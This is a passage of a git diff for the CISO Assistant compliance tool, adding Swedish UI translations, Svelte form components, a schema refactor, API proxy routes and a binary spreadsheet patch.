"Dela", + "primary": "Primär", + "support": "Stöd", + "toDo": "Att göra", + "inProgress": "Pågår", + "inReview": "Under granskning", + "deprecated": "Föråldrad", + "onHold": "Pausad", + "done": "Klar", + "nonCompliant": "Ej efterlevnad", + "nonCompliantMinor": "Mindre brist på efterlevnad", + "nonCompliantMajor": "Större brist på efterlevnad", + "partiallyCompliant": "Delvis efterlevnad", + "compliant": "Efterlevnad", + "notApplicable": "Ej tillämplig", + "notAssessed": "Ej bedömd", + "administrator": "Administratör", + "domainManager": "Domänansvarig", + "analyst": "Analytiker", + "successfullyCreatedObject": "Objektet {object} har skapats framgångsrikt", + "successfullyDuplicateObject": "Objektet {object} har duplicerats framgångsrikt", + "successfullyUpdatedObject": "Objektet {object} har uppdaterats framgångsrikt", + "successfullySavedObject": "Objektet {object} har sparats framgångsrikt", + "successfullyDeletedObject": "Objektet {object} har raderats framgångsrikt", + "successfullyDeletedLibrary": "Biblioteket har raderats framgångsrikt", + "successfullyCreatedUser": "Användaren skapades framgångsrikt. Ett e-postmeddelande skickades för att ställa in lösenord.", + "successfullyUpdatedUser": "Användaren: {email} har uppdaterats framgångsrikt", + "successfullyValidatedObject": "Objektet {object} har validerats framgångsrikt", + "successfullyRejectedObject": "Objektet {object} har avvisats framgångsrikt", + "successfullyRevokedObject": "Objektet {object} har återkallats framgångsrikt", + "successfullyImportedObject": "Objektet {object} har importerats framgångsrikt", + "userHasNoRights": "Denna användare har inga rättigheter. Kom ihåg att redigera deras användargrupper.", + "createdUserWillHaveNoRights": "Denna användare kommer inte att ha några rättigheter efter skapandet. Kom ihåg att redigera deras användargrupper.", + "anErrorOccurred": "Ett fel inträffade", + "attachmentDeleted": "Bilagan har raderats framgångsrikt", + "librarySuccessfullyLoaded": "Biblioteket har laddats framgångsrikt", + "noLibraryDetected": "Inget bibliotek upptäcktes", + "errorLoadingLibrary": "Fel vid laddning av bibliotek", + "updateThisLibrary": "Uppdatera detta bibliotek", + "librarySuccessfullyUpdated": "Biblioteket har uppdaterats framgångsrikt", + "libraryNotFound": "Biblioteket hittades inte", + "libraryHasNoUpdate": "Detta bibliotek har ingen uppdatering", + "dependencyNotFound": "Beroende hittades inte", + "invalidLibraryUpdate": "Ogiltig biblioteksuppdatering", + "passwordSuccessfullyChanged": "Ditt lösenord har ändrats framgångsrikt", + "passwordSuccessfullyReset": "Ditt lösenord har återställts framgångsrikt", + "passwordSuccessfullySet": "Ditt lösenord har ställts in framgångsrikt", + "passwordSuccessfullySetWelcome": "Ditt lösenord har ställts in framgångsrikt. Välkommen till CISO Assistant!", + "waitBeforeRequestingResetLink": "Vänligen vänta {timing} sekunder innan du begär en ny återställningslänk", + "resetLinkSent": "Begäran har mottagits. Du bör få en återställningslänk på följande adress: {email}", + "riskAcceptanceStateDoesntAllowEdit": "Riskacceptansens tillstånd tillåter inte redigering", + "associatedRequirements": "Associerade krav", + "isPublished": "Är publicerad", + "suggestedReferenceControls": "Föreslagna referenskontroller", + "threatsCovered": "Täckta hot", + "noFileDetected": "Fel: ingen fil upptäckt", + "usedRiskMatrices": "Använda riskmatriser", + "usedFrameworks": "Använda ramverk", + "riskAssessmentsStatus": "Status för riskbedömningar", + "complianceAssessmentsStatus": "Status för revisioner", + "noDescription": "Ingen beskrivning", + "noExistingControls": "Inga befintliga kontroller", + "noJustification": "Ingen motivering", + "undefinedSOK": "Kunskapens styrka som stöder bedömningen är inte definierad", + "lowSOK": "Kunskapens styrka som stöder bedömningen är låg", + "mediumSOK": "Kunskapens styrka som stöder bedömningen är medel", + "highSOK": "Kunskapens styrka som stöder bedömningen är hög", + "libraryLoadingError": "Ett fel inträffade vid laddning av biblioteket", + "libraryAlreadyLoadedError": "Detta bibliotek har redan laddats", + "invalidLibraryFileError": "Ogiltig biblioteksfil. Kontrollera att formatet är korrekt.", + "taintedFormMessage": "Vill du lämna denna sida? Ändringar du gjort kan gå förlorade.", + "riskScenariosStatus": "Status för riskscenarier", + "onlineDocs": "Online-dokumentation", + "warning": "Varning", + "missingMandatoyObjects1": "Vissa obligatoriska objekt för {model} har ännu inte skapats eller importerats", + "missingMandatoyObjects2": "Vänligen lägg till dem innan du fortsätter", + "attemptToDeleteOnlyAdminAccountError": "Du kan inte radera det enda administratörskontot för din applikation.", + "attemptToRemoveOnlyAdminUserGroup": "Du kan inte ta bort den enda administratörsanvändaren från administratörsgruppen.", + "scoringHelpText": "Markera för att aktivera poängsättning", + "minScore": "Minimipoäng", + "maxScore": "Maximipoäng", + "setTemporaryPassword1": "Om användaren inte kan ställa in sitt eget lösenord kan du", + "setTemporaryPassword": "ställa in ett tillfälligt lösenord", + "setTemporaryPassword2": "Använd ett starkt lösenord och informera användaren att ändra det så snart som möjligt", + "youCanSetNewPassword": "Du kan ställa in ett nytt lösenord här", + "userWillBeDisconnected": "Användaren kommer att kopplas bort och måste logga in igen", + "scoresDefinition": "Definition av poäng", + "selectedImplementationGroups": "Valda implementeringsgrupper", + "implementationGroupsDefinition": "Definition av implementeringsgrupper", + "threatRadarChart": "Hotradar", + "noThreatsMapped": "Inga hot kartlagda. Överväg att knyta hot till dina riskscenarier för bättre översikt.", + "actionPlan": "Handlingsplan", + "noStatus": "Ingen status", + "actionPlanHelpText": "Sorterad efter status och ETA", + "matchingRequirements": "Matchande krav", + "asZIP": "som ZIP", + "incoming": "Inkommande", + "outdated": "Föråldrad", + "flashMode": "Snabbläge", + "goBackToAudit": "Gå tillbaka till revisionen", + "exportBackupDescription": "Detta kommer att skapa en säkerhetskopia av databasen, inklusive användare och RBAC. Bevis och andra filer inkluderas inte.", + "importBackupDescription": "Detta kommer att återställa databasen från en säkerhetskopia. Det kommer att skriva över all befintlig data, inklusive användare och RBAC, och kan inte ångras.", + "riskAssessmentInProgress": "Riskbedömning pågår fortfarande", + "riskAssessmentNoAuthor": "Ingen författare har tilldelats denna riskbedömning", + "riskAssessmentEmpty": "Riskbedömningen är tom. Inga riskscenarier har deklarerats ännu.", + "riskScenarioNoCurrentLevel": "Nuvarande risknivå har inte bedömts", + "riskScenarioNoResidualLevel": "Rest risknivå har inte bedömts. Om inga ytterligare åtgärder genomförs, bör den vara på samma nivå som den nuvarande risken.", + "riskScenarioResidualHigherThanCurrent": "Rest risknivå är högre än den nuvarande", + "riskScenarioResidualProbaHigherThanCurrent": "Rest sannolikhet är högre än den nuvarande", + "riskScenarioResidualImpactHigherThanCurrent": "Rest påverkan är högre än den nuvarande", + "riskScenarioResidualLoweredWithoutMeasures": "Rest risknivå har sänkts utan specifika åtgärder", + "riskScenarioAcceptedNoAcceptance": "Risken har accepterats men ingen riskacceptans har bifogats", + "appliedControlNoETA": "Ingen ETA angiven", + "appliedControlETAInPast": "ETA är i det förflutna. Överväg att uppdatera dess status eller datum", + "appliedControlNoEffort": "Ingen uppskattad ansträngning angiven. Detta hjälper dig att prioritera", + "appliedControlNoCost": "Ingen uppskattad kostnad angiven. Detta hjälper dig att prioritera", + "appliedControlNoLink": "Den tillämpade kontrollen har ingen extern länk bifogad. Detta hjälper dig att följa upp", + "riskAcceptanceNoExpiryDate": "Riskacceptans har inget utgångsdatum", + "riskAcceptanceExpired": "Riskacceptansen har gått ut. Överväg att uppdatera status eller datum", + "complianceAssessmentInProgress": "Revisionen pågår fortfarande", + "complianceAssessmentNoAuthor": "Ingen författare har tilldelats denna revision", + "requirementAssessmentNoAppliedControl": "Kravbedömningens resultat är efterlevnad eller delvis efterlevnad utan tillämpad kontroll", + "appliedControlNoReferenceControl": "Den tillämpade kontrollen har ingen vald referenskontroll", + "evidenceNoFile": "Beviset har ingen fil uppladdad", + "requirementAppliedControlHelpText": "Bevis kopplade till de valda åtgärderna kommer automatiskt att associeras med kravet.", + "requirementEvidenceHelpText": "Denna flik låter dig lägga till extra bevis till kravet.", + "providerID": "Leverantörs-ID", + "clientID": "Klient-ID", + "secret": "Hemlighet", + "key": "Nyckel", + "settings": "Inställningar", + "identityProvider": "Identitetsleverantör", + "identityProviders": "Identitetsleverantörer", + "clientIDHelpText": "App-ID eller konsumentnyckel", + "secretHelpText": "API-hemlighet, klienthemlighet eller konsumenthemlighet", + "SAMLIdPConfiguration": "SAML IdP-konfiguration", + "SPConfiguration": "SP-konfiguration", + "advancedSettings": "Avancerade inställningar", + "IdPEntityID": "IdP Entity ID", + "metadataURL": "Metadata-URL", + "SSOURL": "SSO-URL", + "SLOURL": "SLO-URL", + "x509Cert": "x509-certifikat", + "SPEntityID": "SP Entity ID", + "attributeMappingUID": "Attributmappning UID", + "attributeMappingEmail": "Attributmappning e-post", + "attributeMappingEmailVerified": "Attributmappning e-post verifierad", + "allowRepeatAttributeName": "Tillåt upprepning av attributnamn", + "allowSingleLabelDomains": "Tillåt domäner med en etikett", + "authnRequestSigned": "Autentiseringsförfrågan signerad", + "digestAlgorithm": "Digest-algoritm", + "logoutRequestSigned": "Utloggningsförfrågan signerad", + "logoutResponseSigned": "Utloggningssvar signerad", + "metadataSigned": "Metadata signerad", + "nameIDEncrypted": "Name ID krypterad", + "rejectDeprecatedAlgorithm": "Avvisa föråldrad algoritm", + "rejectIdPInitiatedSSO": "Avvisa IdP-initierad SSO", + "signatureAlgorithm": "Signaturalgoritm", + "wantAssertionSigned": "Vill ha assertion signerad", + "wantAssertionEncrypted": "Vill ha assertion krypterad", + "wantAttributeStatement": "Vill ha attribututtalande", + "wantMessageSigned": "Vill ha meddelande signerad", + "wantNameID": "Vill ha Name ID", + "wantNameIDEncrypted": "Vill ha krypterad Name ID", + "IdPConfiguration": "IdP-konfiguration", + "enableSSO": "Aktivera SSO", + "failedSSO": "SSO-autentisering misslyckades, vänligen kontakta din administratör", + "UserDoesNotExist": "Användaren är inte deklarerad, vänligen kontakta din administratör", + "idPInitiatedSSORejected": "IdP-initierad SSO avvisad, vänligen kontakta din administratör", + "permissionDenied": "Åtkomst nekad", + "signupClosed": "Registrering stängd", + "loginSSO": "Logga in med SSO", + "or": "eller", + "errorImportingLibrary": "Fel vid import av bibliotek", + "libraryImportError": "Ett fel inträffade under import av bibliotek", + "ssoSettingsupdated": "SSO-inställningar uppdaterade", + "ssoSettings": "SSO-inställningar", + "ssoSettingsDescription": "Konfigurera dina SSO-inställningar här.", + "sso": "SSO", + "isSso": "Är SSO", + "suggestion": "Förslag", + "suggestionColon": "Förslag:", + "annotationColon": "Anmärkning:", + "mapping": "Kartläggning", + "applyMapping": "Tillämpa kartläggning", + "mappingInference": "Kartläggningsinferens", + "mappingInferenceTip": "Kartläggningsförslag finns tillgängligt för detta krav", + "additionalInformation": "Ytterligare information", + "requirementMappingSet": "Kartläggning", + "requirementMappingSetColon": "Kartläggning:", + "requirementMappingSets": "Kartläggningar", + "requirementMapping": "Kravkartläggning", + "requirementMappings": "Kravkartläggningar", + "sourceFramework": "Källramverk", + "targetFramework": "Målramverk", + "baseline": "Baslinje", + "createAuditFromBaseline": "Skapa revision från baslinje", + "coverageColon": "Täckning:", + "full": "Fullständig", + "partial": "Delvis", + "noResultFound": "Inga resultat hittades", + "filters": "Filter", + "notApplicableScore": "Du kan inte poängsätta om kravbedömningen inte är tillämplig", + "maturity": "Mognad", + "progress": "Framsteg", + "back": "Tillbaka", + "duplicate": "Duplicera", + "duplicateRiskAssessment": "Duplicera riskbedömning", + "size": "Storlek", + "favicon": "Favicon", + "logo": "Logotyp", + "clientSettings": "Klientinställningar", + "invalidFileType": "Ogiltig filtyp", + "logoHelpText": "Logotypen visas i applikationens header. Accepterade format är PNG, JPEG, WEBP, SVG.", + "faviconHelpText": "Favicon visas i webbläsarens flik. Accepterade format är ICO, PNG, JPEG, WEBP, SVG.", + "entity": "Enhet", + "entities": "Enheter", + "addEntity": "Lägg till enhet", + "referenceLink": "Referenslänk", + "mission": "Uppdrag", + "ownedFolders": "Ägda mappar", + "thirdParty": "Tredje part", + "thirdPartyCategory": "Tredje parts kategori", + "entityAssessment": "Enhetsbedömning", + "entityAssessments": "Enhetsbedömningar", + "addEntityAssessment": "Lägg till enhetsbedömning", + "criticality": "Kritikalitet", + "penetration": "Penetration", + "dependency": "Beroende", + "trust": "Förtroende", + "solutions": "Lösningar", + "solution": "Lösning", + "addSolution": "Lägg till lösning", + "providerEntity": "Leverantörsenhet", + "addProduct": "Lägg till produkt", + "representatives": "Representanter", + "representative": "Representant", + "addRepresentative": "Lägg till representant", + "phone": "Telefon", + "role": "Roll", + "question": "Fråga", + "recipientEntity": "Mottagarenhet", + "financial": "Finansiell", + "legal": "Juridisk", + "reputation": "Rykte", + "operational": "Operativ", + "confidentiality": "Konfidentialitet", + "integrity": "Integritet", + "availability": "Tillgänglighet", + "authenticity": "Äkthet", + "reviewObservation": "Granska observation", + "reviewObservationSemiColon": "Granska observation:", + "reviewConclusion": "Granska slutsats", + "reviewConclusionSemiColon": "Granska slutsats:", + "review": "Granska", + "conclusionSemiColon": "Slutsats:", + "observationSemiColon": "Observation:", + "tableMode": "Tabelläge", + "owner": "Ägare", + "waitingRiskAcceptances": "Hej! Du har för närvarande {number} riskacceptans(er) som väntar. Du kan hitta dem i riskfliken.", + "licenseSeats": "Licensplatser", + "licenseExpiration": "Licensens utgångsdatum", + "answer": "Svar", + "questionnaireMode": "Frågeformulärsläge", + "assessmentMode": "Bedömningsläge", + "createAudit": "Skapa revision", + "createAuditHelpText": "Skapa en revision tillsammans med enhetsbedömningen", + "questionnaire": "Frågeformulär", + "conclusion": "Slutsats", + "blocker": "Blockerare", + "createUser": "Skapa användare", + "createUserHelpText": "Skapa eller koppla en tredje parts användare till representanten baserat på e-posten", + "nameDuplicate": "Namnet finns redan", + "noAnswer": "Inget svar", + "entityAssessmentRepresentativesHelpText": "De tredje parts användare som ansvarar för att fylla i frågeformuläret", + "sendQuestionnaire": "Skicka frågeformulär", + "sureToSendQuestionnaire": "Är du säker på att du vill skicka frågeformuläret: {questionnaire}?", + "theFollowingRepresentativesWillReceiveTheQuestionnaireColon": "Följande representanter kommer att få frågeformuläret:", + "mailSuccessfullySent": "E-postmeddelandet har skickats framgångsrikt", + "mailFailedToSend": "E-postmeddelandet kunde inte skickas", + "questionOrQuestions": "Fråga(or)", + "successfullyUpdatedClientSettings": "Klientinställningar uppdaterades framgångsrikt, vänligen uppdatera sidan.", + "xRaysEmptyMessage": "Du måste skapa minst ett projekt för att använda röntgen.", + "suggestControls": "Föreslå kontroller", + "createAppliedControlsFromSuggestionsHelpText": "Skapa tillämpade kontroller från kravens föreslagna referenskontroller i ramverket", + "createAppliedControlsFromSuggestionsSuccess": "Tillämpade kontroller skapades framgångsrikt från de föreslagna referenskontrollerna", + "createAppliedControlsFromSuggestionsError": "Ett fel inträffade vid skapandet av tillämpade kontroller från de föreslagna referenskontrollerna", + "createAppliedControlsFromSuggestionsConfirmMessage": "{count} tillämpade kontroller kommer att skapas från de föreslagna referenskontrollerna. Vill du fortsätta?", + "theFollowingControlsWillBeAddedColon": "Följande kontroller kommer att läggas till:", + "ShowAllNodesMessage": "Visa alla", + "ShowOnlyAssessable": "Visa endast bedömningsbara", + "NoPreviewMessage": "Ingen förhandsgranskning tillgänglig.", + "licenseExpiredMessage": "Din licens har löpt ut. Skrivoperationer är inaktiverade. Vänligen kontakta din administratör för att förnya.", + "experimental": "Experimentell", + "timeline": "Tidslinje", + "graph": "Graf", + "startDate": "Startdatum", + "startDateHelpText": "Startdatum (användbart för tidslinje)", + "backupLoadingError": "Ett fel inträffade vid laddning av säkerhetskopian.", + "backupGreaterVersionError": "Kan inte ladda säkerhetskopian, versionen av säkerhetskopian är högre än din nuvarande applikationsversion.", + "backupLowerVersionError": "Ett fel inträffade, säkerhetskopian kan vara för gammal och måste uppdateras innan du försöker igen.", + "entityAssessmentEvidenceHelpText": "Ett externt frågeformulär", + "associatedEntities": "Associerade enheter", + "noMailerConfigured": "Ingen e-posttjänst är konfigurerad", + "errorLicenseSeatsExceeded": "Antalet redigeringsplatser som tillåts av din licens har överskridits. Du kommer inte att kunna ge redigeringsrättigheter till denna användare. Vänligen kontakta din administratör.", + "availableSeats": "Tillgängliga platser", + "showImagesUnauthenticated": "Visa logotyp och favicon för oautentiserade användare", + "showImagesUnauthenticatedHelpText": "Om inaktiverad visas CISO Assistants standardlogotyp och favicon på inloggningssidan", + "librariesCanOnlyBeLoadedByAdmin": "Bibliotek kan endast laddas av en administratör", + "catalog": "Katalog", + "operations": "Operationer", + "questionSingular": "Fråga", + "questionPlural": "Frågor", + "fillMetadataURL": "Alternativ 1: Fyll i metadata-URL", + "fillSSOSLOURLx509cert": "Alternativ 2: Fyll i SSO-URL, SLO-URL och x509-certifikat", + "sumpageTotal": "Totalt", + "sumpageActive": "Aktiva", + "sumpageDeprecated": "Föråldrade", + "sumpageToDo": "Att göra", + "sumpageInProgress": "Pågår", + "sumpageOnHold": "På paus", + "sumpageActiveAudits": "Aktiva revisioner", + "sumpageCompliantItems": "Efterlevande objekt", + "sumpageNonCompliantItems": "Icke-efterlevande objekt", + "sumpageEvidences": "Bevis", + "sumpageAssessments": "Bedömningar", + "sumpageScenarios": "Scenarier", + "sumpageMappedThreats": "Kartlagda hot", + "sumpageRiskAccepted": "Risker accepterade", + "sumpageSectionControls": "Kontroller", + "sumpageTitleComplianceOverview": "Översikt över efterlevnad", + "sumpageTitleCurrentRisks": "Nuvarande risker", + "sumpageTitleResidualRisks": "Rest risker", + "sumpageSectionCompliance": "Efterlevnad", + "sumpageSectionRisk": "Risk", + "emailPasswordMismatch": "Kunde inte logga in med angivna uppgifter.", + "securitySettings": "Säkerhetsinställningar", + "securitySettingsDescription": "Konfigurera dina säkerhetsinställningar här.", + "multiFactorAuthentication": "Multifaktorautentisering", + "authenticatorApp": "Autentiseringsapp", + "authenticatorAppDescription": "Använd en autentiseringsapp för att generera en tidsbaserad engångskod (TOTP) för tvåfaktorsautentisering.", + "enableTOTP": "Aktivera 2FA", + "disableTOTP": "Inaktivera 2FA", + "disableTOTPConfirm": "Är du säker på att du vill inaktivera tvåfaktorsautentisering?", + "recommended": "Rekommenderas", + "activateTOTPTitle": "Aktivera tvåfaktorsautentisering", + "activateTOTPMessage": "Skanna QR-koden med din autentiseringsapp för att aktivera tvåfaktorsautentisering.", + "code": "Kod", + "enterTOTPCodeManually": "Ange följande kod manuellt i appen", + "enterCodeGeneratedByApp": "Ange koden som genereras av autentiseringsappen", + "mfaAuthenticateTitle": "Multifaktorautentisering", + "successfullyDeactivatedTOTP": "2FA inaktiverades framgångsrikt", + "successfullyActivatedTOTP": "2FA aktiverades framgångsrikt", + "listRecoveryCodes": "Lista återställningskoder", + "listRecoveryCodesHelpText": "Återställningskoder används för att återfå tillgång till ditt konto om du förlorar tillgången till din autentiseringsapp. Förvara dessa lika säkert som ditt lösenord. Vi rekommenderar att du lagrar dem i en säker lösenordshanterare.", + "recoveryCode": "Återställningskod", + "recoveryCodes": "Återställningskoder", + "regenerateRecoveryCodes": "Generera nya återställningskoder", + "errorRegeneratingRecoveryCodes": "Ett fel inträffade vid generering av återställningskoder", + "loginUsingRecoveryCode": "Använd en återställningskod", + "loginUsingTOTP": "Använd autentiseringsapp", + "copy": "Kopiera", + "incorrectCode": "Felaktig kod", + "tooManyLoginAttempts": "För många inloggningsförsök. Vänligen försök igen senare.", + "step": "Steg {number}", + "critical": "Kritisk", + "vulnerabilities": "Sårbarheter", + "severity": "Allvarlighet", + "potential": "Potentiell", + "exploitable": "Exploaterbar", + "mitigated": "Mildrad", + "fixed": "Åtgärdad", + "labels": "Etiketter", + "addLabel": "Lägg till etikett", + "labelsHelpText": "Etiketter används för att kategorisera och filtrera objekt.", + "filteringLabel": "Etikett", + "filteringLabels": "Etiketter", + "invalidLabel": "Etiketten måste vara alfanumerisk och innehålla högst 36 tecken", + "myAssignments": "Mina uppdrag", + "assignedRisks": "Tilldelade risker", + "controls": "Kontroller", + "exploreButton": "Utforska", + "tags": "Etiketter", + "addTag": "Lägg till etikett", + "tagsHelpText": "Etiketter hjälper till att kategorisera och filtrera flera objekt. Du kan hantera dem i menyn Extra.", + "existingMeasures": "Befintliga kontroller", + "youCanSetPasswordHere": "Du kan ställa in ditt lösenord här", + "forgotPassword": "Glömt lösenord", + "ssoSettingsUpdated": "SSO-inställningar uppdaterade" +} diff --git a/frontend/src/lib/components/Forms/Duration.svelte b/frontend/src/lib/components/Forms/Duration.svelte new file mode 100644 index 000000000..e42643d3d --- /dev/null +++ b/frontend/src/lib/components/Forms/Duration.svelte @@ -0,0 +1,111 @@ + + +
+
+ {#if label !== undefined && !hidden} + {#if $constraints?.required || required} + + {:else} + + {/if} + {/if} + {#if $errors} +
+ {#each $errors as error} +

{error}

+ {/each} +
+ {/if} +
+
+ {#each timeUnits as timeUnit} + {#if timeUnit.enabled} +
+ + +
+ {/if} + {/each} +
+ {#if helpText} +

{helpText}

+ {/if} +
diff --git a/frontend/src/lib/components/Forms/ModelForm/AppliedControlPolicyForm.svelte b/frontend/src/lib/components/Forms/ModelForm/AppliedControlPolicyForm.svelte index 11b2d8c62..56079a01a 100644 --- a/frontend/src/lib/components/Forms/ModelForm/AppliedControlPolicyForm.svelte +++ b/frontend/src/lib/components/Forms/ModelForm/AppliedControlPolicyForm.svelte @@ -16,8 +16,23 @@ export let formDataCache: Record = {}; export let schema: any = {}; export let initialData: Record = {}; + + model.selectOptions['priority'].forEach((element) => { + element.value = parseInt(element.value); + }); +{#if schema.shape.category} + + diff --git a/frontend/src/lib/components/Forms/RadioGroupInput.svelte b/frontend/src/lib/components/Forms/RadioGroupInput.svelte new file mode 100644 index 000000000..c28836898 --- /dev/null +++ b/frontend/src/lib/components/Forms/RadioGroupInput.svelte @@ -0,0 +1,85 @@ + + +
+ {#if label !== undefined} + {#if $constraints?.required} + + {:else} + + {/if} + {/if} + {#if $errors && $errors.length > 0} +
+ {#each $errors as error} +

{error}

+ {/each} +
+ {/if} +
+ {#if options.length > 0} + + {#each options as option, index} + {#if option.label} + {translateOptions === true ? safeTranslate(option.label) : option.label} + {/if} + {/each} + + {/if} +
+ {#if helpText} +

{helpText}

+ {/if} +
diff --git a/frontend/src/lib/components/Forms/RadioItem.svelte b/frontend/src/lib/components/Forms/RadioItem.svelte new file mode 100644 index 000000000..68521630f --- /dev/null +++ b/frontend/src/lib/components/Forms/RadioItem.svelte @@ -0,0 +1,106 @@ + + + diff --git a/frontend/src/lib/utils/schemas.ts b/frontend/src/lib/utils/schemas.ts index 59b05e601..37dfe8d84 100644 --- a/frontend/src/lib/utils/schemas.ts +++ b/frontend/src/lib/utils/schemas.ts @@ -146,18 +146,7 @@ export const AppliedControlDuplicateSchema = z.object({ duplicate_evidences: z.boolean() }); -export const PolicySchema = z.object({ - ...NameDescriptionMixin, - csf_function: z.string().optional().nullable(), - status: z.string().optional().default('--'), - evidences: z.string().optional().array().optional(), - eta: z.string().optional().nullable(), - expiry_date: z.string().optional().nullable(), - link: z.string().url().optional().or(z.literal('')), - effort: z.string().optional().nullable(), - folder: z.string(), - reference_control: z.string().optional().nullable() -}); +export const PolicySchema = AppliedControlSchema.omit({ category: true }); export const RiskAcceptanceSchema = z.object({ ...NameDescriptionMixin, diff --git a/frontend/src/routes/(app)/(internal)/risk-scenarios/default-ref-id/+server.ts b/frontend/src/routes/(app)/(internal)/risk-scenarios/default-ref-id/+server.ts new file mode 100644 index 000000000..439570e63 --- /dev/null +++ b/frontend/src/routes/(app)/(internal)/risk-scenarios/default-ref-id/+server.ts @@ -0,0 +1,20 @@ +import { BASE_API_URL } from '$lib/utils/constants'; + +import { error } from '@sveltejs/kit'; +import type { RequestHandler } from './$types'; +export const GET: RequestHandler = async ({ fetch, url }) => { + const riskAssessmentId = url.searchParams.get('risk_assessment'); + const endpoint = `${BASE_API_URL}/risk-scenarios/default_ref_id/?risk_assessment=${riskAssessmentId}`; + + const res = await fetch(endpoint); + if (!res.ok) { + error(400, 'Failed to fetch default ref_id'); + } + const logo = await res.json(); + + return new Response(JSON.stringify(logo), { + headers: { + 'Content-Type': 'application/json' + } + }); +}; diff --git a/frontend/src/routes/(app)/assets/disaster-recovery-objectives/+server.ts b/frontend/src/routes/(app)/assets/disaster-recovery-objectives/+server.ts new file mode 100644 index 000000000..219c92752 --- /dev/null +++ b/frontend/src/routes/(app)/assets/disaster-recovery-objectives/+server.ts @@ -0,0 +1,20 @@ +import { BASE_API_URL } from '$lib/utils/constants'; + +import { error } from '@sveltejs/kit'; +import type { RequestHandler } from './$types'; +export const GET: RequestHandler = async ({ fetch }) => { + const endpoint = `${BASE_API_URL}/assets/disaster_recovery_objectives/`; + + const res = await fetch(endpoint); + if (!res.ok) { + error(400, 'Error fetching disaster recovery objectives'); + } + + const objectives: string[] = await res.json().then((obj) => obj.results); + + return new Response(JSON.stringify(objectives), { + headers: { + 'Content-Type': 'application/json' + } + }); +}; diff --git a/frontend/src/routes/(app)/assets/security-objectives/+server.ts b/frontend/src/routes/(app)/assets/security-objectives/+server.ts new file mode 100644 index 000000000..03ffff659 --- /dev/null +++ b/frontend/src/routes/(app)/assets/security-objectives/+server.ts @@ -0,0 +1,20 @@ +import { BASE_API_URL } from '$lib/utils/constants'; + +import { error } from '@sveltejs/kit'; +import type { RequestHandler } from './$types'; +export const GET: RequestHandler = async ({ fetch }) => { + const endpoint = `${BASE_API_URL}/assets/security_objectives/`; + + const res = await fetch(endpoint); + if (!res.ok) { + error(400, 'Error fetching security objectives'); + } + + const objectives: string[] = await res.json().then((obj) => obj.results); + + return new Response(JSON.stringify(objectives), { + headers: { + 'Content-Type': 'application/json' + } + }); +}; diff --git a/tools/intuitem/doc-pol.xlsx b/tools/intuitem/doc-pol.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..4ee98007565247bbe959f92ad6bbdd0686d15665 GIT binary patch literal 14986 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 